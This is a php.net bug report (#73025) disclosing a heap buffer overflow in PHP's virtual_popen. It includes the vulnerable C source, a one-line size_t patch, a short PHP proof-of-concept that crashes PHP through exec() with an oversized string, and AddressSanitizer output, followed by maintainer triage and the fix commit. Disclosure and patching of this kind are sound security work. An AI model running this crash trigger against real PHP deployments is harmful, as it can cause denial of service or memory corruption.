php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73025 Heap Buffer Overflow in virtual_popen of zend_virtual_cwd.c
Submitted: 2016-09-06 03:55 UTC Modified: 2016-09-06 09:52 UTC
From: stackexploit at gmail dot com Assigned: cmb (profile)
Status: Closed Package: Program Execution
PHP Version: master-Git-2016-09-06 (snap) OS: Ubuntu
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: stackexploit at gmail dot com
New email:
PHP Version: OS:

 

 [2016-09-06 03:55 UTC] stackexploit at gmail dot com
Description:
------------
PHP VERSION
-----------------------
worker@ubuntu:~/Desktop/repo/php-src$ ./sapi/cli/php --version
PHP 7.2.0-dev (cli) (built: Sep  5 2016 20:18:09) ( ZTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies


PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.


CONFIGURE LINE
-----------------------
./configure --enable-maintainer-zts --enable-static --enable-cli --disable-shared --disable-all


OTHER INFORMATION
-----------------------
The proof-of-concept file I supplied may consume lots of memory and time. To reproduce this issue more quickly, please run the command "export USE_ZEND_ALLOC=0" in terminal to disable ZEND heap management.


STACKTRACE
-----------------------
Posted in the "Actual result" section.


VULNERABILITY DETAILS
-----------------------
The vulnerability exists in function virtual_popen of file zend_virtual_cwd.c. When we supply a super long command to this function, the value of variable command_length can be negative. Thus a small heap buffer will be returned by function emalloc. It will lead to heap buffer overflow when manipulating the heap buffer.

Function virtual_popen is reachable via PHP_FUNCTION exec, system, passthru, shell_exec, etc. 

CWD_API FILE *virtual_popen(const char *command, const char *type) /* {{{ */
{
    int command_length;         // type is int (not size_t)
    int dir_length, extra = 0;
    char *command_line;
    char *ptr, *dir;
    FILE *retval;

    command_length = strlen(command);   // 0xfffffff0

    dir_length = CWDG(cwd).cwd_length;
    dir = CWDG(cwd).cwd;
    while (dir_length > 0) {
        if (*dir == '\'') extra+=3;
        dir++;
        dir_length--;
    }
    dir_length = CWDG(cwd).cwd_length;
    dir = CWDG(cwd).cwd;

    // --------> small heap buffer will be returned here
    ptr = command_line = (char *) emalloc(command_length + sizeof("cd '' ; ") + dir_length + extra+1+1);
    if (!command_line) {
        return NULL;
    }
    /* ... */
}


SIMPLE PATCH
-----------------------
Use type size_t instead of type int.
int command_length;    --------> size_t command_length;


CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.

Test script:
---------------
<?php
    ini_set('memory_limit', -1);
    $cmd = str_repeat("/", 0xfffffff0);
    echo exec($cmd);
?>

Expected result:
----------------
Exit quietly.

Actual result:
--------------
==89629== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60060002945c at pc 0xc636d9 bp 0x7ffe93f986c0 sp 0x7ffe93f986b8
WRITE of size 1 at 0x60060002945c thread T0
    #0 0xc636d8 in virtual_popen php-src/Zend/zend_virtual_cwd.c:1965
    #1 0x744a57 in php_exec php-src/ext/standard/exec.c:113
    #2 0x74593e in php_exec_ex php-src/ext/standard/exec.c:231
    #3 0x745dae in zif_exec php-src/ext/standard/exec.c:250
    #4 0xd095d5 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675
    #5 0xd029a1 in execute_ex php-src/Zend/zend_vm_execute.h:429
    #6 0xd04545 in zend_execute php-src/Zend/zend_vm_execute.h:474
    #7 0xb49477 in zend_execute_scripts php-src/Zend/zend.c:1464
    #8 0x8f650d in php_execute_script php-src/main/main.c:2537
    #9 0x1007883 in do_cli php-src/sapi/cli/php_cli.c:990
    #10 0x100aaca in main php-src/sapi/cli/php_cli.c:1378
    #11 0x7f6231dc2f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
    #12 0x41ae68 in _start (php-src/sapi/cli/php+0x41ae68)
0x60060002945c is located 0 bytes to the right of 28-byte region [0x600600029440,0x60060002945c)
allocated by thread T0 here:
    #0 0x7f6232abe41a in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.0+0x1541a)
    #1 0xa762d0 in _emalloc php-src/Zend/zend_alloc.c:2402
    #2 0xc63305 in virtual_popen php-src/Zend/zend_virtual_cwd.c:1946
    #3 0x744a57 in php_exec php-src/ext/standard/exec.c:113
    #4 0x74593e in php_exec_ex php-src/ext/standard/exec.c:231
    #5 0x745dae in zif_exec php-src/ext/standard/exec.c:250
    #6 0xd095d5 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675
    #7 0xd029a1 in execute_ex php-src/Zend/zend_vm_execute.h:429
    #8 0xd04545 in zend_execute php-src/Zend/zend_vm_execute.h:474
    #9 0xb49477 in zend_execute_scripts php-src/Zend/zend.c:1464
    #10 0x8f650d in php_execute_script php-src/main/main.c:2537
    #11 0x1007883 in do_cli php-src/sapi/cli/php_cli.c:990
    #12 0x100aaca in main php-src/sapi/cli/php_cli.c:1378
    #13 0x7f6231dc2f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
SUMMARY: AddressSanitizer: heap-buffer-overflow php-src/Zend/zend_virtual_cwd.c:1965 virtual_popen
Shadow bytes around the buggy address:
  0x0c013fffd230: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c013fffd240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c013fffd250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c013fffd260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c013fffd270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c013fffd280: fa fa fa fa fa fa fa fa 00 00 00[04]fa fa fd fd
  0x0c013fffd290: fd fd fa fa 00 00 00 00 fa fa 00 00 00 fa fa fa
  0x0c013fffd2a0: fd fd fd fd fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c013fffd2b0: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c013fffd2c0: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c013fffd2d0: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:     fa
  Heap righ redzone:     fb
  Freed Heap region:     fd
  Stack left redzone:    f1
  Stack mid redzone:     f2
  Stack right redzone:   f3
  Stack partial redzone: f4
  Stack after return:    f5
  Stack use after scope: f8
  Global redzone:        f9
  Global init order:     f6
  Poisoned by user:      f7
  ASan internal:         fe
==89629== ABORTING

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-09-06 03:58 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-09-06 04:50 UTC] stackexploit at gmail dot com
Why do you consider it's not a security bug?
 [2016-09-06 09:52 UTC] cmb@php.net
-Status: Open +Status: Analyzed -Package: Filesystem function related +Package: Program Execution -Assigned To: +Assigned To: cmb
 [2016-09-06 09:52 UTC] cmb@php.net
> Why do you consider it's not a security bug?

Because it is "unlikely" that a programmer tries to exec()ute such
a long command; and if the programmer passes unvalidated input to
exec(), there are far more severe issues than a buffer overflow.
So, either way, this would be a programmer error.

Anyhow, thanks for reporting this issue and the thorough analysis!
 [2016-09-06 10:21 UTC] cmb@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=dad793630d5966a9c22f3fcd7f24b7937bd1a36f
Log: Fix #73025: Heap Buffer Overflow in virtual_popen of zend_virtual_cwd.c
 [2016-09-06 10:21 UTC] cmb@php.net
-Status: Analyzed +Status: Closed
 [2016-10-17 10:08 UTC] bwoebi@php.net
Automatic comment on behalf of cmbecker69@gmx.de
Revision: http://git.php.net/?p=php-src.git;a=commit;h=dad793630d5966a9c22f3fcd7f24b7937bd1a36f
Log: Fix #73025: Heap Buffer Overflow in virtual_popen of zend_virtual_cwd.c
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 13:01:29 2024 UTC